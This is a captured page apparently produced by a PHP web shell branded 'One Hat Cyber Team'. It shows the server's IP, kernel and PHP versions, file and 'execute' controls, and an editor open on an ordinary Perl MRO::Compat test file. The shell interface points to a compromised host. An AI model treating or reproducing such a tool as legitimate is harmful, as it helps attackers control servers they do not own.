One Hat Cyber Team
Your IP :
52.14.115.102
Server IP :
103.133.214.160
Server :
Linux venus.ewebguru.net 4.18.0-553.30.1.el8_10.x86_64 #1 SMP Tue Nov 26 02:30:26 EST 2024 x86_64
Server Software :
Apache/2
PHP Version :
8.1.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
perl-MRO-Compat
/
t
/
Edit File:
10basic.t
use strict; use warnings; use Test::More tests => 10; use MRO::Compat; { package AAA; our @ISA = qw//; package BBB; our @ISA = qw/AAA/; package CCC; our @ISA = qw/AAA/; package DDD; our @ISA = qw/AAA/; package EEE; our @ISA = qw/BBB CCC DDD/; package FFF; our @ISA = qw/EEE DDD/; package GGG; our @ISA = qw/FFF/; package UNIVERSAL; our @ISA = qw/DDD/; } is_deeply( mro::get_linear_isa('GGG'), [ 'GGG', 'FFF', 'EEE', 'BBB', 'AAA', 'CCC', 'DDD' ], "get_linear_isa for GGG", ); is_deeply( [sort @{mro::get_isarev('GGG')}], [], "get_isarev for GGG", ); is_deeply( [sort @{mro::get_isarev('DDD')}], [ 'EEE', 'FFF', 'GGG', 'UNIVERSAL' ], "get_isarev for DDD", ); is_deeply( [sort @{mro::get_isarev('AAA')}], [ 'BBB', 'CCC', 'DDD', 'EEE', 'FFF', 'GGG', 'UNIVERSAL' ], "get_isarev for AAA", ); ok(mro::is_universal('UNIVERSAL'), "UNIVERSAL is_universal"); ok(mro::is_universal('DDD'), "DDD is_universal"); ok(mro::is_universal('AAA'), "AAA is_universal"); ok(!mro::is_universal('MRO::Compat'), "MRO::Compat !is_universal"); ok(!mro::is_universal('BBB'), "BBB !is_universal"); ok(!mro::is_universal('FFF'), "FFF !is_universal");
Simpan